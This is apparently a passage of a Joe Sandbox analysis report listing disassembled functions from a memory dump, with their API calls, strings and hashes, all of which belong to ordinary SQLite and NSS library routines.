Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

database corruption, xrefs: 6C5F7EE2, 6C5F7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

database corruption, xrefs: 6C5DFD6E, 6C5DFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668CF9
KRAM, xrefs: 6C668D3E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6C741C85
an index, xrefs: 6C741C67
a generated column, xrefs: 6C741C6C
w=dl, xrefs: 6C741C44
a CHECK constraint, xrefs: 6C741C76, 6C741C81

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

invalid, xrefs: 6C724DB8
API call with %s database connection pointer, xrefs: 6C724DBD
misuse, xrefs: 6C724DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
%s at line %d of [%.10s], xrefs: 6C724DDA

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

invalid, xrefs: 6C724E25
API call with %s database connection pointer, xrefs: 6C724E2A
misuse, xrefs: 6C724E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
%s at line %d of [%.10s], xrefs: 6C724E47

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
